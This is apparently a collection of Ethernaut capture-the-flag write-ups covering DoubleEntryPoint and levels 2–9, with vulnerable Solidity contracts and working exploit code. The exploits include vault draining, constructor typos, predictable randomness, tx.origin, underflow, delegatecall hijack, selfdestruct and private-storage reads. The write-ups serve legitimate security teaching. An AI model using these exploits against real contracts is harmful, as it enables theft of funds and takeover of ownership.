super.transfer(to, value); 91 | } else { 92 | return delegate.delegateTransfer(to, value, msg.sender); 93 | } 94 | } 95 | } 96 | 97 | contract DoubleEntryPoint is ERC20("DoubleEntryPointToken", "DET"), DelegateERC20, Ownable { 98 | address public cryptoVault; 99 | address public player; 100 | address public delegatedFrom; 101 | Forta public forta; 102 | 103 | constructor(address legacyToken, address vaultAddress, address fortaAddress, address playerAddress) public { 104 | delegatedFrom = legacyToken; 105 | forta = Forta(fortaAddress); 106 | player = playerAddress; 107 | cryptoVault = vaultAddress; 108 | _mint(cryptoVault, 100 ether); 109 | } 110 | 111 | modifier onlyDelegateFrom() { 112 | require(msg.sender == delegatedFrom, "Not legacy contract"); 113 | _; 114 | } 115 | 116 | modifier fortaNotify() { 117 | address detectionBot = address(forta.usersDetectionBots(player)); 118 | 119 | // Cache old number of bot alerts 120 | uint256 previousValue = forta.botRaisedAlerts(detectionBot); 121 | 122 | // Notify Forta 123 | forta.notify(player, msg.data); 124 | 125 | // Continue execution 126 | _; 127 | 128 | // Check if alarms have been raised 129 | if(forta.botRaisedAlerts(detectionBot) > previousValue) revert("Alert has been triggered, reverting"); 130 | } 131 | 132 | function delegateTransfer( 133 | address to, 134 | uint256 value, 135 | address origSender 136 | ) public override onlyDelegateFrom fortaNotify returns (bool) { 137 | _transfer(origSender, to, value); 138 | return true; 139 | } 140 | } 141 | ``` 142 | 143 | `player` has to find the bug in the `CryptoVault` and create a Forta bot to protect it from being drained. 144 | 145 | First, let's figure out the exploit that allows to drain the underlying (DET) tokens. If you see the `sweepToken()` method it can be seen that it restricts sweeping the underlying tokens with a `require` check - as expected. But take a look at `LegacyToken`'s `transfer()` method: 146 | ```solidity 147 | if (address(delegate) == address(0)) { 148 | return super.transfer(to, value); 149 | } else { 150 | return delegate.delegateTransfer(to, value, msg.sender); 151 | } 152 | ``` 153 | 154 | Looks like it actually calls `delegateTransfer()` method of some `DelegateERC20` contract. But this `DelegateERC20` is nothing but the implementation of the underlying (`DET`) token itself! And `delegateTransfer()` simply transfers the tokens according to given parameters. The only restriction `delegateTransfer()` puts is that `msg.sender` must be the LegacyToken (`delegatedFrom` address) contract. 155 | 156 | So we can indirectly sweep the underlying tokens through `transfer()` of `LegacyToken` contract. We simply call `sweepToken` with address of `LegacyToken` contract. That in turn would make the `LegacyContract` to call the `DoubleEntryPoint`'s (DET token) `delegateTransfer()` method. 157 | 158 | ```js 159 | vault = await contract.cryptoVault() 160 | 161 | // Check initial balance (100 DET) 162 | await contract.balanceOf(vault).then(v => v.toString()) // '100000000000000000000' 163 | 164 | legacyToken = await contract.delegatedFrom() 165 | 166 | // sweepTokens(..) function call data 167 | sweepSig = web3.eth.abi.encodeFunctionCall({ 168 | name: 'sweepToken', 169 | type: 'function', 170 | inputs: [{name: 'token', type: 'address'}] 171 | }, [legacyToken]) 172 | 173 | // Send exploit transaction 174 | await web3.eth.sendTransaction({ from: player, to: vault, data: sweepSig }) 175 | 176 | // Check balance (0 DET) 177 | await contract.balanceOf(vault).then(v => v.toString()) // '0' 178 | ``` 179 | 180 | And `CryptoVault` is swept of DET tokens! 181 | 182 | This worked because during invocation `transfer()` of `LegacyToken` the `msg.sender` was `CryptoVault`. And when `delegateTransfer()` invoked right after, the `origSender` is the passed in address of `CryptoVault` contract and `msg.sender` is `LegacyToken` so `onlyDelegateFrom` modifier checks out. 183 | 184 | Now to prevent this exploit we have to write a bot which would be a simple contract implementing the `IDetectionBot` interface. In the bot's `handleTransaction(..)` we could simply check that the address was not `CryptoVault` address. If so, raise alert. Hence preventing sweep. 185 | 186 | Open up Remix and deploy the bot (on Rinkeby) and copy its address. 187 | ```solidity 188 | pragma solidity ^0.8.0; 189 | 190 | interface IForta { 191 | function raiseAlert(address user) external; 192 | } 193 | 194 | contract FortaDetectionBot { 195 | address private cryptoVault; 196 | 197 | constructor(address _cryptoVault) { 198 | cryptoVault = _cryptoVault; 199 | } 200 | 201 | function handleTransaction(address user, bytes calldata msgData) external { 202 | // Extract the address of original message sender 203 | // which should start at offset 168 (0xa8) of calldata 204 | address origSender; 205 | assembly { 206 | origSender := calldataload(0xa8) 207 | } 208 | 209 | if (origSender == cryptoVault) { 210 | IForta(msg.sender).raiseAlert(user); 211 | } 212 | } 213 | } 214 | ``` 215 | 216 | Note that in the above `FortaDetectionBot` contract we extract the address of the original transaction sender by calculating its offset according to the [ABI encoding](https://docs.soliditylang.org/en/latest/abi-spec.html#argument-encoding) specs. 217 | 218 | Now set the bot in `Forta` contract: 219 | ```js 220 | // FortaDetectionBot 221 | botAddr = '0x...' 222 | 223 | // Forta contract address 224 | forta = await contract.forta() 225 | 226 | // setDetectionBot() function call data 227 | setBotSig = web3.eth.abi.encodeFunctionCall({ 228 | name: 'setDetectionBot', 229 | type: 'function', 230 | inputs: [ 231 | { type: 'address', name: 'detectionBotAddress' } 232 | ] 233 | }, [botAddr]) 234 | 235 | // Send the transaction setting the bot 236 | await web3.eth.sendTransaction({from: player, to: forta, data: setBotSig }) 237 | ``` 238 | 239 | That is it! 240 | 241 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄 242 | 243 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏 244 | 245 | -------------------------------------------------------------------------------- /level_2_Fallout.md: -------------------------------------------------------------------------------- 1 | # Level 2: Fallout 2 | 3 | 4 | This is the level 2 of [Ethernaut](https://ethernaut.openzeppelin.com/) game. 5 | 6 | ## Pre-requisites: 7 | - Solidity smart contract [constructors](https://docs.soliditylang.org/en/v0.8.10/contracts.html) 8 | 9 | ## Hack 10 | Given contract: 11 | 12 | ```solidity 13 | // SPDX-License-Identifier: MIT 14 | pragma solidity ^0.6.0; 15 | 16 | import '@openzeppelin/contracts/math/SafeMath.sol'; 17 | 18 | contract Fallout { 19 | 20 | using SafeMath for uint256; 21 | mapping (address => uint) allocations; 22 | address payable public owner; 23 | 24 | 25 | /* constructor */ 26 | function Fal1out() public payable { 27 | owner = msg.sender; 28 | allocations[owner] = msg.value; 29 | } 30 | 31 | modifier onlyOwner { 32 | require( 33 | msg.sender == owner, 34 | "caller is not the owner" 35 | ); 36 | _; 37 | } 38 | 39 | function allocate() public payable { 40 | allocations[msg.sender] = allocations[msg.sender].add(msg.value); 41 | } 42 | 43 | function sendAllocation(address payable allocator) public { 44 | require(allocations[allocator] > 0); 45 | allocator.transfer(allocations[allocator]); 46 | } 47 | 48 | function collectAllocations() public onlyOwner { 49 | msg.sender.transfer(address(this).balance); 50 | } 51 | 52 | function allocatorBalance(address allocator) public view returns (uint) { 53 | return allocations[allocator]; 54 | } 55 | } 56 | ``` 57 | 58 | The `player` has to claim ownership of the contract. 59 | 60 | Inspecting all the methods, it can be seen there isn't any method that switches the ownership of the contract. Only ownership logic is inside the constructor. But, constructors are called only once at the deployment time! 61 | 62 | How? Something about constructor declaration looks unusual -- it "seems" to be defined with same name as the contract i.e. `Fallout` (it is NOT actually). Don't we use `constructor` keyword to declare constructors? 63 | 64 | First of all - intended constructor declaration has typo, `Fal1out` instead of `Fallout`. So it is just treated as a normal method not a constructor. Hence we simply call it & claim ownership. 65 | 66 | Secondly, even if it wasn't a typo, that is - constructor was declared as `Fallout`, it won't even compile! 67 | Older versions of Solidity had this kind of constructor declaration. If you go through the [docs](https://docs.soliditylang.org/en/v0.8.10/050-breaking-changes.html#constructors) you'll find that `constructor` keyword was favored against contract name as constructor. It was mandated even in `v0.5.0` - _"Constructors must now be defined using the constructor keyword"_. And target contract uses `v0.6.0`. 68 | 69 | Anyway, silly mistake. 70 | 71 | ```javascript 72 | await contract.Fal1out() 73 | ``` 74 | 75 | And `player` has taken over as `owner`. Verify by: 76 | ```javascript 77 | await contract.owner() === player 78 | 79 | // Output: true 80 | ``` 81 | 82 | Submit instance. Done. 83 | 84 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄 85 | 86 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏 87 | 88 | -------------------------------------------------------------------------------- /level_3_Coin-Flip.md: -------------------------------------------------------------------------------- 1 | # Level 3: Coin Flip 2 | 3 | This is the level 3 of [Ethernaut](https://ethernaut.openzeppelin.com/) game. 4 | 5 | ## Pre-requisites 6 | - [Blocks](https://ethereum.org/en/developers/docs/blocks/) in Ethereum blockchain 7 | - Solidity - interacting with a deployed contract at an address. Read [this](https://solidity-by-example.org/interface/) or better watch [this](https://www.youtube.com/watch?v=YWtT0MNHYhQ) 8 | 9 | ## Hack 10 | 11 | Given contract: 12 | 13 | ```solidity 14 | // SPDX-License-Identifier: MIT 15 | pragma solidity ^0.6.0; 16 | 17 | import '@openzeppelin/contracts/math/SafeMath.sol'; 18 | 19 | contract CoinFlip { 20 | 21 | using SafeMath for uint256; 22 | uint256 public consecutiveWins; 23 | uint256 lastHash; 24 | uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; 25 | 26 | constructor() public { 27 | consecutiveWins = 0; 28 | } 29 | 30 | function flip(bool _guess) public returns (bool) { 31 | uint256 blockValue = uint256(blockhash(block.number.sub(1))); 32 | 33 | if (lastHash == blockValue) { 34 | revert(); 35 | } 36 | 37 | lastHash = blockValue; 38 | uint256 coinFlip = blockValue.div(FACTOR); 39 | bool side = coinFlip == 1 ? true : false; 40 | 41 | if (side == _guess) { 42 | consecutiveWins++; 43 | return true; 44 | } else { 45 | consecutiveWins = 0; 46 | return false; 47 | } 48 | } 49 | } 50 | ``` 51 | 52 | Basically, we need to predict outcome of coin flip correctly 10 times in a row to win. 53 | 54 | The contract given tries to simulate random coin flip by generating `true` or `false` using the block number of network (Ropsten in our case). But this is not actually really random! You can very easily query the network to see the current block number. 55 | 56 | Turns out random number generation is one of the serious pitfalls of blockchains due to deterministic nature. That's why there are dedicated services for the purpose like [Chainlink VRF](https://blog.chain.link/random-number-generation-solidity/). 57 | 58 | Since this block number can be easily accessible, we can also generate the result of coin flip and feed this result to `flip` function to have a correct guess and increment `consecutiveWins`. We are able to do this because block time of the network will be long enough so that `block.number` doesn't change between function calls. 59 | 60 | We'll write a solidity contract (on Remix IDE) with almost same coin-flip generation code `CoinFlipGuess` & call the `flip` of given `CoinFlip` contract at deployed instance address, with already determined result of flip: 61 | 62 | ```solidity 63 | // SPDX-License-Identifier: MIT 64 | pragma solidity ^0.6.0; 65 | 66 | interface ICoinFlip { 67 | function flip(bool _guess) external returns (bool); 68 | } 69 | 70 | contract CoinFlipGuess { 71 | uint256 public consecutiveWins = 0; 72 | uint256 lastHash; 73 | uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; 74 | 75 | function coinFlipGuess(address _coinFlipAddr) external returns (uint256) { 76 | uint256 blockValue = uint256(blockhash(block.number - 1)); 77 | 78 | if (lastHash == blockValue) { 79 | revert(); 80 | } 81 | 82 | lastHash = blockValue; 83 | uint256 coinFlip = blockValue / FACTOR; 84 | bool side = coinFlip == 1 ? true : false; 85 | 86 | bool isRight = ICoinFlip(_coinFlipAddr).flip(side); 87 | if (isRight) { 88 | consecutiveWins++; 89 | } else { 90 | consecutiveWins = 0; 91 | } 92 | 93 | return consecutiveWins; 94 | } 95 | } 96 | ``` 97 | 98 | I'm keeping track of `consecutiveWins` in `CoinFlipGuess` too and returning it from `coinFlipGuess`, just so that I can see it increasing. 99 | 100 | Remember to deploy the above contract on Ropsten network because the target - `CoinFlip` is on Ropsten too. 101 | 102 | Get the instance address of give `CoinFlip` instance, so that we can give it to `coinFlipGuess` as param: 103 | 104 | ```javascript 105 | contract.address() 106 | 107 | // Output: 108 | ``` 109 | 110 | Now, simply call `coinFlipGuess` method (on Remix) with `` as only parameter, 10 times with successful transaction. 111 | 112 | Go back to console and query `consecutiveWins` from `CoinFlip` instance: 113 | ```javascript 114 | await contract.consecutiveWins().then(v => v.toString()) 115 | 116 | // Output: '10' 117 | ``` 118 | 119 | You may be tempted to run a loop to call `coinFlipGuess` 10 times automatically, but it won't work because of the guard `if` statement in `CoinFlip`: 120 | ``` 121 | 122 | if (lastHash == blockValue) { 123 | revert(); 124 | } 125 | ``` 126 | The invocation will revert if block number was same as in previous invocation. Since `lastHash` / `blockValue` is derived from `block.number`. 127 | 128 | Game rigged successfully. 129 | 130 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄 131 | 132 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏 133 | 134 | -------------------------------------------------------------------------------- /level_4_Telephone.md: -------------------------------------------------------------------------------- 1 | # Level 4: Telephone 2 | 3 | This is the level 4 of [Ethernaut](https://ethernaut.openzeppelin.com/) game. 4 | 5 | ## Pre-requisites 6 | - [Difference between `tx.origin` and `msg.sender`](https://ethereum.stackexchange.com/questions/1891/whats-the-difference-between-msg-sender-and-tx-origin) 7 | 8 | ## Hack 9 | 10 | Given contract: 11 | 12 | ```solidity 13 | // SPDX-License-Identifier: MIT 14 | pragma solidity ^0.6.0; 15 | 16 | contract Telephone { 17 | 18 | address public owner; 19 | 20 | constructor() public { 21 | owner = msg.sender; 22 | } 23 | 24 | function changeOwner(address _owner) public { 25 | if (tx.origin != msg.sender) { 26 | owner = _owner; 27 | } 28 | } 29 | } 30 | ``` 31 | 32 | `player` has to claim this contract's ownership. 33 | 34 | Simple one. We'll make an intermediate contract (named `IntermediateContract`) with the same method `changeOwner` (or anything else -- name doesn't matter) on Remix. `IntermediateContract`'s `changeOwner` will simply call `Telephone` contract's `changeOwner`. 35 | 36 | ```solidity 37 | // SPDX-License-Identifier: MIT 38 | pragma solidity ^0.6.0; 39 | 40 | interface ITelephone { 41 | function changeOwner(address _owner) external; 42 | } 43 | 44 | contract IntermediateContract { 45 | function changeOwner(address _addr) public { 46 | ITelephone(_addr).changeOwner(msg.sender); 47 | } 48 | } 49 | ``` 50 | 51 | `player` will call `IntermediateContract` contract's `changeOwner`, which in turn will call `Telephone`'s `changeOwner` with `msg.sender` (which is `player`) as param. In that case `tx.origin` is `player` and `msg.sender` is `IntermediateContract`'s address. And since now `tx.origin` != `msg.sender`, `player` has claimed the ownership. 52 | 53 | Done. 54 | 55 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄 56 | 57 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏 58 | 59 | -------------------------------------------------------------------------------- /level_5_Token.md: -------------------------------------------------------------------------------- 1 | # Level 5: Token 2 | 3 | This is the level 5 of [Ethernaut](https://ethernaut.openzeppelin.com/) game. 4 | 5 | ## Pre-requisites 6 | - Integer [overflow/underflow](https://docs.soliditylang.org/en/v0.6.0/security-considerations.html#two-s-complement-underflows-overflows) in Solidity `v0.6.0` 7 | 8 | ## Hack 9 | 10 | Given contract: 11 | 12 | ```solidity 13 | // SPDX-License-Identifier: MIT 14 | pragma solidity ^0.6.0; 15 | 16 | contract Token { 17 | 18 | mapping(address => uint) balances; 19 | uint public totalSupply; 20 | 21 | constructor(uint _initialSupply) public { 22 | balances[msg.sender] = totalSupply = _initialSupply; 23 | } 24 | 25 | function transfer(address _to, uint _value) public returns (bool) { 26 | require(balances[msg.sender] - _value >= 0); 27 | balances[msg.sender] -= _value; 28 | balances[_to] += _value; 29 | return true; 30 | } 31 | 32 | function balanceOf(address _owner) public view returns (uint balance) { 33 | return balances[_owner]; 34 | } 35 | } 36 | ``` 37 | 38 | `player` is initially assigned 20 tokens i.e. `balances[player] = 20` and has to somehow get any additional tokens (so that `balances[player] > 20` ). 39 | 40 | The `transfer` method of `Token` performs some unchecked arithmetic operations on `uint256` (`uint` is shorthand for `uint256` in solidity) integers. That is prone to underflow. 41 | 42 | The max value of a 256 bit unsigned integer can represent is `2^256 − 1`, which is - 43 | 44 | ``` 45 | 115,792,089,237,316,195,423,570,985,008,687,907,853,269,984,665,640,564,039,457,584,007,913,129,639,935 46 | ``` 47 | 48 | Hence `uint256` can only comprise values from `0` to `2^256 - 1` only. Any addition/subtraction would cause overflow/underflow. For example: 49 | ``` 50 | Let M = 2^256 - 1 (max value of uint256) 51 | 52 | 0 - 1 = M 53 | 54 | M + 1 = 0 55 | 56 | 20 - 21 = M 57 | 58 | (All numbers are 256-bit unsigned integers) 59 | ``` 60 | 61 | We're going to use last expression from example above to exploit the contract. 62 | 63 | Let's call `transfer` with a zero address (or any address other than `player`) as `_to` and 21 as `_value` to transfer. 64 | 65 | ```javascript 66 | await contract.transfer('0x0000000000000000000000000000000000000000', 21) 67 | ``` 68 | 69 | Here's how arithmetics of function would go: 70 | 71 | The `require` check below would evaluate to true. 72 | ``` 73 | require(balances[msg.sender] - _value >= 0); 74 | ``` 75 | 76 | Because `balances[msg.sender] = 20` and `_value = 21`, hence 77 | ``` 78 | balances[msg.sender] - _value = 2^256 - 1 >= 0 79 | ``` 80 | due to underflow. 81 | 82 | Next statement deducts `_value` amount from `player` address. At this point `balances[msg.sender] = 20` and `_value = 21`. Again an underflow: 83 | ``` 84 | balances[msg.sender] -= _value; 85 | ``` 86 | is same as 87 | ``` 88 | balances[msg.sender] = balances[msg.sender] - _value; 89 | ``` 90 | 91 | And so, 92 | ``` 93 | balances[msg.sender] = 20 - 21 = 2^256 - 1 94 | ``` 95 | 96 | Whoa! now the `player` (or `msg.sender`) has `balances[msg.sender]` = `2^256 - 1` number of tokens!!! 97 | 98 | Last statement just sets balance of a zero address to `_value` i.e. 21, which we couldn't care less about. 99 | 100 | And that's it! `player` has acquired humongous no. of tokens, even way way way more than `totalSupply`. Verify by: 101 | ```javascript 102 | await contract.balanceOf(player).then(v => v.toString()) 103 | // Output: '115792089237316195423570985008687907853269984665640564039457584007913129639935' 104 | ``` 105 | 106 | A nice thing to note is that it worked because contract's compiler version is `v0.6.0`. This, most probably, **won't work for latest version** (`v0.8.0` as of writing) because underflow/overflow causes failing assertion by default in latest version. 107 | 108 | 109 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄 110 | 111 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏 112 | 113 | -------------------------------------------------------------------------------- /level_6_Delegation.md: -------------------------------------------------------------------------------- 1 | # Level 6: Delegation 2 | 3 | This is the level 6 of [Ethernaut](https://ethernaut.openzeppelin.com/) game. 4 | 5 | ## Pre-requisites 6 | - [delegatecall](https://eip2535diamonds.substack.com/p/understanding-delegatecall-and-how) in Solidity 7 | 8 | ## Hack 9 | 10 | Given contracts: 11 | ```solidity 12 | // SPDX-License-Identifier: MIT 13 | pragma solidity ^0.6.0; 14 | 15 | contract Delegate { 16 | 17 | address public owner; 18 | 19 | constructor(address _owner) public { 20 | owner = _owner; 21 | } 22 | 23 | function pwn() public { 24 | owner = msg.sender; 25 | } 26 | } 27 | 28 | contract Delegation { 29 | 30 | address public owner; 31 | Delegate delegate; 32 | 33 | constructor(address _delegateAddress) public { 34 | delegate = Delegate(_delegateAddress); 35 | owner = msg.sender; 36 | } 37 | 38 | fallback() external { 39 | (bool result,) = address(delegate).delegatecall(msg.data); 40 | if (result) { 41 | this; 42 | } 43 | } 44 | } 45 | ``` 46 | 47 | `player` has to claim ownership of provided instance of `Delegation` contract. 48 | 49 | A simple one if you clearly understand how `delegatecall` works, which is being used in `fallback` method of `Delegation`. 50 | 51 | We just have to send function signature of `pwn` method of `Delegate` as `msg.data` to `fallback` so that _code_ of `Delegate` is executed in the context of `Delegation`. That changes the ownership of `Delegation`. 52 | 53 | So, first get encoded function signature of `pwn`, in console: 54 | 55 | ```javascript 56 | signature = web3.eth.abi.encodeFunctionSignature("pwn()") 57 | ``` 58 | 59 | Then we send a transaction with `signature` as data, so that `fallback` gets called: 60 | 61 | ```javascript 62 | await contract.sendTransaction({ from: player, data: signature }) 63 | ``` 64 | 65 | After transaction is successfully mined `player` is the `owner` of `Delegation`. Verify by: 66 | 67 | ```javascript 68 | await contract.owner() === player 69 | 70 | // Output: true 71 | ``` 72 | 73 | That's it. 74 | 75 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄 76 | 77 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏 78 | 79 | -------------------------------------------------------------------------------- /level_7_Force.md: -------------------------------------------------------------------------------- 1 | # Level 7: Force 2 | 3 | This is the level 7 of [Ethernaut](https://ethernaut.openzeppelin.com/) game. 4 | 5 | ## Pre-requisites 6 | - [selfdestruct](https://docs.soliditylang.org/en/v0.6.0/units-and-global-variables.html#contract-related) function in Solidity 7 | 8 | ## Hack 9 | 10 | Given contract: 11 | 12 | ```solidity 13 | // SPDX-License-Identifier: MIT 14 | pragma solidity ^0.6.0; 15 | 16 | contract Force {/* 17 | 18 | MEOW ? 19 | /\_/\ / 20 | ____/ o o \ 21 | /~____ =ø= / 22 | (______)__m_m) 23 | 24 | */} 25 | ``` 26 | 27 | `player` has to somehow make this empty contract's balance grater that 0. 28 | 29 | Simple `transfer` or `send` won't work because the `Force` implements neither `receive` nor `fallaback` functions. Calls with any value will revert. 30 | 31 | However, the checks can be bypassed by using `selfdestruct` of an intermediate contract - `Payer` which would specify `Force`'s address as beneficiary of it's funds after it's self-destruction. 32 | 33 | First off make a soon-to-be-destroyed contract in Remix: 34 | 35 | ```Solidity 36 | // SPDX-License-Identifier: MIT 37 | pragma solidity ^0.6.0; 38 | 39 | contract Payer { 40 | uint public balance = 0; 41 | 42 | function destruct(address payable _to) external payable { 43 | selfdestruct(_to); 44 | } 45 | 46 | function deposit() external payable { 47 | balance += msg.value; 48 | } 49 | } 50 | ``` 51 | 52 | Send a value of say, `10000000000000 wei` (0.00001 eth) by calling `deposit`, so that `Payer`'s balance increases to same amount. 53 | 54 | Get instance address of `Force` in console: 55 | 56 | ```javascript 57 | contact.address 58 | 59 | // Output: 60 | ``` 61 | 62 | Call `destruct` of `Payer` with `` as parameter. That's destroy `Payer` and send all of it's funds to `Force`. Verify by: 63 | 64 | ```javascript 65 | await getBalance(contract.address) 66 | 67 | // Output: '0.00001' 68 | ``` 69 | 70 | Level cracked! 71 | 72 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄 73 | 74 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏 75 | 76 | -------------------------------------------------------------------------------- /level_8_Vault.md: -------------------------------------------------------------------------------- 1 | # Level 8: Vault 2 | 3 | This is the level 8 of [Ethernaut](https://ethernaut.openzeppelin.com/) game. 4 | 5 | ## Pre-requisites 6 | - [Layout of state variables](https://docs.soliditylang.org/en/v0.8.10/internals/layout_in_storage.html) in Solidity 7 | - [Reading storage](https://web3js.readthedocs.io/en/v1.5.2/web3-eth.html#getstorageat) at a slot in contract 8 | 9 | ## Hack 10 | 11 | Given contract: 12 | 13 | ```solidity 14 | // SPDX-License-Identifier: MIT 15 | pragma solidity ^0.6.0; 16 | 17 | contract Vault { 18 | bool public locked; 19 | bytes32 private password; 20 | 21 | constructor(bytes32 _password) public { 22 | locked = true; 23 | password = _password; 24 | } 25 | 26 | function unlock(bytes32 _password) public { 27 | if (password == _password) { 28 | locked = false; 29 | } 30 | } 31 | } 32 | ``` 33 | 34 | `player` has to set `locked` to false. 35 | 36 | Only way is by calling `unlock` by correct password. 37 | 38 | Although `password` state variable is private, one can still read a storage variable by determining it's storage slot. Therefore sensitive information should not be stored on-chain, even if it is specified `private`. 39 | 40 | Above, the `password` is at a storage slot of 1 in `Vault`. 41 | 42 | Let's read it: 43 | 44 | ```javascript 45 | password = await web3.eth.getStorageAt(contract.address, 1) 46 | ``` 47 | 48 | Call `unlock` with `password`: 49 | 50 | ```javascript 51 | await contract.unlock() 52 | ``` 53 | 54 | Unlocked. Verify by: 55 | 56 | ```javascript 57 | await contract.locked() === false 58 | ``` 59 | 60 | And that's it. 61 | 62 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄 63 | 64 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏 65 | 66 | -------------------------------------------------------------------------------- /level_9_King.md: -------------------------------------------------------------------------------- 1 | # Level 9: King 2 | 3 | This is the level 9 of [Ethernaut](https://ethernaut.openzeppelin.com/) game. 4 | 5 | ## Pre-requisites 6 | - Solidity contract [receive](https://ethereum.stackexchange.com/questions/81994/what-is-the-receive-keyword-in-solidity/81995) function 7 | - [transfer](https://docs.soliditylang.org/en/v0.8.10/types.html#members-of-addresses) method of addresses 8 | 9 | ## Hack 10 | 11 | Given contract: 12 | 13 | ```solidity 14 | // SPDX-License-Identifier: MIT 15 | pragma solidity ^0.6.0; 16 | 17 | contract King { 18 | 19 | address payable king; 20 | uint public prize; 21 | address payable public owner; 22 | 23 | constructor() public payable { 24 | owner = msg.sender; 25 | king = msg.sender; 26 | prize = msg.value; 27 | } 28 | 29 | receive() external payable { 30 | require(msg.value >= prize || msg.sender == owner); 31 | king.transfer(msg.value); 32 | king = msg.sender; 33 | prize = msg.value; 34 | } 35 | 36 | function _king() public view returns (address payable) { 37 | return king; 38 | } 39 | } 40 | ``` 41 | 42 | `player` has to prevent the current level from reclaiming the kingship after instance is submitted. 43 | 44 | Kingship is switched in `receive` function i.e. when a specific value is sent to `King`. So, we'll have to somehow prevent execution of `receive`. 45 | 46 | The key thing to notice is that previous `king` is sent back `msg.value` using `transfer`. But what if this previous `king` was a contract and it didn't implement any `receive` or `fallback`? It won't be able to receive any value. And because of this `transfer` stops execution with an exception (unlike `send`). Gotcha! 47 | 48 | Let's make a contract `ForeverKing` that has NO `receive` or `fallback`: 49 | 50 | ```solidity 51 | // SPDX-License-Identifier: MIT 52 | pragma solidity ^0.6.0; 53 | 54 | contract ForeverKing { 55 | function claimKingship(address payable _to) public payable { 56 | (bool sent, ) = _to.call.value(msg.value)(""); 57 | require(sent, "Failed to send value!"); 58 | } 59 | } 60 | ``` 61 | 62 | Query the current prize: 63 | 64 | ```javascript 65 | await contract.prize().then(v => v.toString()) 66 | 67 | // Output: '1000000000000000' 68 | ``` 69 | 70 | So at least `1000000000000000` wei is required to claim kingship. 71 | 72 | Get your instance's address, so that `ForeverKing` can send value to it: 73 | 74 | ```javascript 75 | contract.address 76 | 77 | // Output: 78 | ``` 79 | 80 | Call `claimKingship` of `ForeverKing` with param `` and set the amount `1000000000000000` wei as value in Remix. That will make `ForeverKing` contract as king. 81 | 82 | Submit the instance. Upon submitting the level will try to reclaim kingship through `receive` fallback. However, it will fail. 83 | 84 | This is because upon reaching line: 85 | ``` 86 | king.transfer(msg.value); 87 | ``` 88 | exception would occur because `king` (i.e. deployed `ForeverKing` contract) has no fallback functions. 89 | 90 | Level cleared. 91 | 92 | Bonus thing to note here is that in `ForeverKing`'s `claimKingship`, `call` is used specifically. `transfer` or `send` will fail because of limited 2300 gas stipend. `receive` of `King` would require more than 2300 gas to execute successfully. 93 | 94 | Of course, there are probably other ways too to prevent a successful `receive` execution. 95 | 96 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄 97 | 98 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏 99 | 100 | --------------------------------------------------------------------------------